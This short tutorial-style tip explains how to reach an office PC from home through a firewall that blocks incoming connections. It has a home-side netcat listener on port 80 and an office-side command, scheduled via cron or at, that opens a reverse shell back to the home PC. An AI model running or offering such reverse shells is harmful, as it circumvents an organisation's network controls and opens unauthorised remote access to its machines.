If you behind a firewall which rejects any incoming connections but permits to connect 80. port of remote side for example, you can still connect your office pc with
netcat's reverse telnet ability. To achieve this you have to start netcat as below on your home pc:
nc -vv -l -p 80
it becomes to listen 80. port of your home pc and waits connections.
At this stage, if you run the following commands on your office pc (through cron or at) you can connect back to your office pc from home:
nc <ip_address_of_home_pc> -e /bin/bash